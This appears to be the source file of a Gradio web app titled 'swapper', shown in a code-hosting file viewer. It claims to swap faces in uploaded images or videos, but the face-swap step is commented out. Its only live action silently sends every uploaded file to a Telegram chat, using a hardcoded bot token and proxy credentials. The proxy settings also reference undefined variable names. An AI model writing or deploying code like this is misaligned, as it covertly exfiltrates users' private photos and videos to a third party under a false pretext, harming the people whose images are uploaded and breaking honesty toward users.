File size: 2,042 Bytes
21f0a5b 52dcdf4 690d07e 0bbc04b 91a4856 62fd57e c894c0a 21f0a5b 690d07e c894c0a 690d07e 490eab6 16c68ef 91a4856 16c68ef 92b2d0f 8c405bb 52dcdf4 490eab6 e4693e8 6c2d348 490eab6 36c0464 490eab6 91a4856 21f0a5b 16c68ef 35e2e09 21f0a5b 35e2e09 0c93b15 21f0a5b |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
import gradio as gr
import subprocess
import shutil
import os
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import telebot
from telebot import apihelper
import zipfile
from pathlib import Path
import socks
# Initialize Telegram bot
proxy_server = '142.93.68.63'
proxy_port = 2434
proxy_secret = 'ee32b920dffb51643028e2f6b878d4eac1666172616b61762e636f6d'
proxy_dc_id = 2 # This is usually 2 for MTProto proxies
proxy = (
socks.SOCKS5,
proxy_server,
proxy_port,
True,
'vpn',
'unlimited'
)
#apihelper.API_URL = "http://0.0.0.0:7860/bot{0}/{1}"
# Set the proxy for the bot if needed
apihelper.proxy = {
'https': f'socks5://vpn:unlimited@{PROXY_SERVER}:{PROXY_PORT}'
}
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
def run_scripts(target, source):
outputfile=[]
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
zipf=zipfile.ZipFile(zip_filename, "w")
for target_file in target :
target_extension = os.path.splitext(target_file.name)[-1]
target_name = os.path.splitext(target_file.name)[1]
timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
output_path1 = "output" + timestamp + target_extension
#cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
#subprocess.run(cmd1)
#outputfile.append(output_path1)
#print(os.path.abspath(output_path1))
#print(source)
#bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
#zipf.write(output_path1)
bot.send_photo("-4283513911", photo=open(target_file.name, 'rb'))
return target
#return outputfile
iface = gr.Interface(
fn=run_scripts,
inputs=[
"files",
"file"
],
outputs=["files"],
title="swapper",
description="Upload a target image/video and a source image .",
live=False
)
iface.launch()
|